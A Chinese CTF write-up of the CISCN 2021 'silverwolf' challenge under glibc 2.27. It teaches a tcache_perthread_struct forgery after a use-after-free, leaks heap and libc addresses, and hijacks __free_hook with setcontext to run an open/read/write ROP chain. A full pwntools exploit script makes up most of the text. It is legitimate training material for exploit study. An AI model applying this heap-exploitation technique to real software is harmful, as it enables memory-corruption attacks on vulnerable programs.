glibc2.27版本下的setcontext入门
例题为[CISCN 2021 初赛]silverwolf
前置知识
tcache_perthread_struct
关于tcache_perthread_struct在堆中是这样的,在有tcache的libc版本中,会生成一个tcache结构体,大小为0x240
内容如下,counts代表了各个大小的堆块的数量,entries代表了每个不同大小堆块的链表头
从heap_base + 0x10 开始,前0x40个字节分别代表了 0x20-0x410 0x40个不同大小堆块的数量,这也说明了为什么tcache中能存放的最大堆块是0x408
比如从heap_base + 0x10的前16个字节,分别代表了0x20到0x110大小的堆块的数量,对应着下图
从heap_base + 0x10 + 0x40 开始,就是每个堆链的头地址
2024.7.15补充
今天在做题的时候碰到tcache大小0x280的情况,调试后发现,其实就是将上面0x240的tcache结构体表示 不同堆块 的大小的数据结构由 1个字节 变为 2个字节,然后存储heap链表头的地址就变成了 heap_base + 0x10 + 0x80
setcontext
在 setcontext+53的地方,通过设置rdi的值,可以修改除了rax外的所有寄存器,但是在glibc2.29开始,rdi变为了rdx,利用会更加困难,这里先留个空,以后再填上
在本题中,通过将[rdi+0xa0]设置为ROP的起始地址,赋值给rsp,利用ret指令控制rip执行ROP
uaf泄露heap基址
1 2 3 4 5
| add(0x78) free() show() ru(b'Content: ') heap_base = u64(r(6).ljust(8,b'\x00')) - 0x11b0
|
伪造tcache_perthread_struct
通过伪造tcache_perthread_struct中堆块的个数,将记录大小为0x240的堆块的个数修改为7,并释放tcache_perthread_struct结构体,使其进入unsortbin泄露libc地址
1 2 3 4 5 6 7 8 9
| edit(p64(heap_base+0x10)) add(0x78) add(0x78) edit(b'\x00'*0x23+b'\x07')
free() show() ru(b'Content: ') libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3ebca0
|
gadgets
1 2 3 4 5 6
| pop_rdi = 0x00000000000215bf + libc_base pop_rsi = 0x0000000000023eea + libc_base pop_rdx = 0x0000000000001b96 + libc_base pop_rax = 0x0000000000043ae8 + libc_base syscall = 0x00000000000d2745 + libc_base ret = 0x00000000000008aa + libc_base
|
这里学到了一个细节,当用ROPgadget查找syscall指令时,某些地址上的syscall指令的下一条指令并不是ret,而当我们编写的ROP执行了这个syscall指令时,因为没有ret,所以rip并不会返回我们的ROP,所以ROP就没办法继续往下执行,而ROPgadget这个工具没办法查询”syscall ; ret”这种指令
查找方法:
在ida中 ALT+B 输入 0f 05 c3 即可查找 syscall ; ret 指令
orw ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| orw = p64(pop_rdi) + p64(flag) orw += p64(pop_rsi) + p64(0) orw += p64(pop_rax) + p64(2) orw += p64(syscall)
orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(heap_base + 0x4000) orw += p64(pop_rdx) + p64(0x30) orw += p64(pop_rax) + p64(0) orw += p64(syscall)
orw += p64(pop_rdi) + p64(1) orw += p64(pop_rsi) + p64(heap_base + 0x4000) orw += p64(pop_rdx) + p64(0x30) orw += p64(pop_rax) + p64(1) orw += p64(syscall)
|
这里的话可以把
1 2
| orw += p64(pop_rax) + p64(0) orw += p64(syscall)
|
写成
read直接用libc查找就可以了,这样可以减少ROP的长度
布置payload
pd前40个字节就是各个大小堆块的数量,直接填充0即可,然后就到了堆的链表头,覆盖为如下的地址后即即可实现任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| setcontext = libc.sym['setcontext'] + 53 + libc_base free_hook = libc.sym['__free_hook'] + libc_base
flag = heap_base + 0x1000 stack_1 = heap_base + 0x2000 stack_2 = heap_base + 0x20a0 orw_1 = heap_base + 0x3000 orw_2 = heap_base + 0x3060
pd = b'\x00' * 0x40 pd += p64(free_hook) pd += p64(flag) pd += p64(0) pd += p64(stack_1) pd += p64(stack_2) pd += p64(orw_1) pd += p64(orw_2)
edit(pd)
|
申请0x10大小的堆块,将__free_hook修改为setcontext,往下同理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| add(0x10) edit(p64(setcontext))
add(0x20) edit(b'./flag')
add(0x50) edit(p64(orw_1)+p64(ret))
add(0x60) edit(orw[:0x60])
add(0x70) edit(orw[0x60:])
add(0x40) free()
|
当free执行后,rdi会指向free的堆块,并执行setcontext,此时rdi的值就是stack_1,而rdi+0xa0 就是 stack_2,执行 setcontext 后,
就是将stack_2中存储的值赋值给rsp,stack_2中存储着orw_1,此时rsp中就是orw_1,利用ret指令将其赋值给rip,然后rip就开始执行ROP了
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| from pwn import * context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/silverwolf' elf=ELF(local_file) local_libc = '/home/feichai/ctf_file/libc-2.27.so' libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b *$rebase(0x001234) ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node4.anna.nssctf.cn",28997) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(index): sla('Your choice:',str(index))
def add(size): choice(1) sla('Index:',str(0)) sla('Size:',str(size))
def edit(content): choice(2) sla('Index:',str(0)) sla('Content:',content)
def show(): choice(3) sla('Index:',str(0))
def free(): choice(4) sla('Index:',str(0))
def exit_(): choice(5)
def exp():
add(0x78) free() show() ru(b'Content: ') heap_base = u64(r(6).ljust(8,b'\x00')) - 0x11b0 lg('heap_base',heap_base)
edit(p64(heap_base+0x10)) add(0x78) add(0x78) edit(b'\x00'*0x23+b'\x07')
free() show() ru(b'Content: ') libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3ebca0 lg('libc_base',libc_base) pop_rdi = 0x00000000000215bf + libc_base pop_rsi = 0x0000000000023eea + libc_base pop_rdx = 0x0000000000001b96 + libc_base pop_rax = 0x0000000000043ae8 + libc_base syscall = 0x00000000000d2745 + libc_base ret = 0x00000000000008aa + libc_base
setcontext = libc.sym['setcontext'] + 53 + libc_base free_hook = libc.sym['__free_hook'] + libc_base
flag = heap_base + 0x1000 stack_1 = heap_base + 0x2000 stack_2 = heap_base + 0x20a0 orw_1 = heap_base + 0x3000 orw_2 = heap_base + 0x3060
orw = p64(pop_rdi) + p64(flag) orw += p64(pop_rsi) + p64(0) orw += p64(pop_rax) + p64(2) orw += p64(syscall)
orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(heap_base + 0x4000) orw += p64(pop_rdx) + p64(0x30) orw += p64(pop_rax) + p64(0) orw += p64(syscall)
orw += p64(pop_rdi) + p64(1) orw += p64(pop_rsi) + p64(heap_base + 0x4000) orw += p64(pop_rdx) + p64(0x30) orw += p64(pop_rax) + p64(1) orw += p64(syscall)
pd = b'\x00' * 0x40 pd += p64(free_hook) pd += p64(flag) pd += p64(0) pd += p64(stack_1) pd += p64(stack_2) pd += p64(orw_1) pd += p64(orw_2)
edit(pd)
add(0x10) edit(p64(setcontext))
add(0x20) edit(b'./flag')
add(0x50) edit(p64(orw_1)+p64(ret))
add(0x60) edit(orw[:0x60])
add(0x70) edit(orw[0x60:])
add(0x40) free() io.interactive()
if __name__=='__main__': exp()
|